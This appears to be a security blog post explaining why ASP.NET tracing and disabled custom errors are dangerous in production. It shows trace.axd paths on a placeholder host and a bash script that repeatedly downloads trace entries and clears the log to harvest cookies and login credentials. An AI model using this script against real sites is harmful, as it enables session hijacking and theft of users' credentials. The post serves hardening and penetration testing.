ASP .NET Tracing, as any other debugging feature supported by any server product, should be disabled in production environments. There are many configuration settings that can be dangerous when used in live ASP.NET environments. Some examples include leaving the default debug errors enabled (<customerrors mode="Off">) which can disclose a wealth of information that could aid attackers launch SQL injection attacks (just to mention one example).

<customerrors mode="Off">
</customerrors>

However, the ASP .NET configuration mistake that can allow a malicious hacker to break into your site in the most easy and stealth is perhaps ASP .NET Tracing.

In short, tracing allows developers (and any potential intruder) to obtain full details about the last HTTP requests submitted to the application. This includes, but it's not limited to:

• parameters submitted through GET requests
• parameters submitted through POST requests
• cookies

So what's the worst that could happen? Well, accounts of users of the targeted site could be compromised weather be it a user-level account or administrator (if applicable). By simply obtaining an active session ID (typically submitted through cookies) or getting the username and password of a login request are the main ways to compromise accounts by abusing .NET tracing functionality.

.NET tracing can be accessed by simply requesting trace.axd within the root directory where the application is stored. Depending on the environment, the location of this file might look like:

http://target.foo/trace.axd
http://target.foo/admin/trace.axd
http://target.foo/users/trace.axd

etc ...

My point is that depending on what the root path a certain application is, the location of trace.axd will vary. This is why it's very important that during a penetration test, trace.axd is requested within all discovered directories!

The number of requests available when accessing trace.axd is limited as defined by the requestLimit setting specificed of the Web.config file. Therefore, even if trace.axd was available, the attacker might not be lucky enough to capture interesting data when viewing it. Therefore, a little bit of automation might be required. A malicious hacker can simply write a script that captures the data returned by trace.axd repeatedly (i.e.: every 5 seconds) and automatically parse the recorded data for later analysis (i.e.: look for credentials submitted by users of the target site).

The following is a basic example of such script written in bash ('curl is required to the script to function):

#!/bin/bash

# location where Trace.axd is available. change as required
traceURL=http://www.target.foo/Trace.axd

# seconds delay between each bulk of requests
delay=20

while true
do
# capture last 10 requests
for((i=0;i<10;++i))
do
echo "[+] obtaining logged req #$i"
wget "$traceURL?id=$i"
done

# clear current trace
echo "[+] clearing current trace"
curl -v --url "$traceURL?clear=1"

sleep $delay

done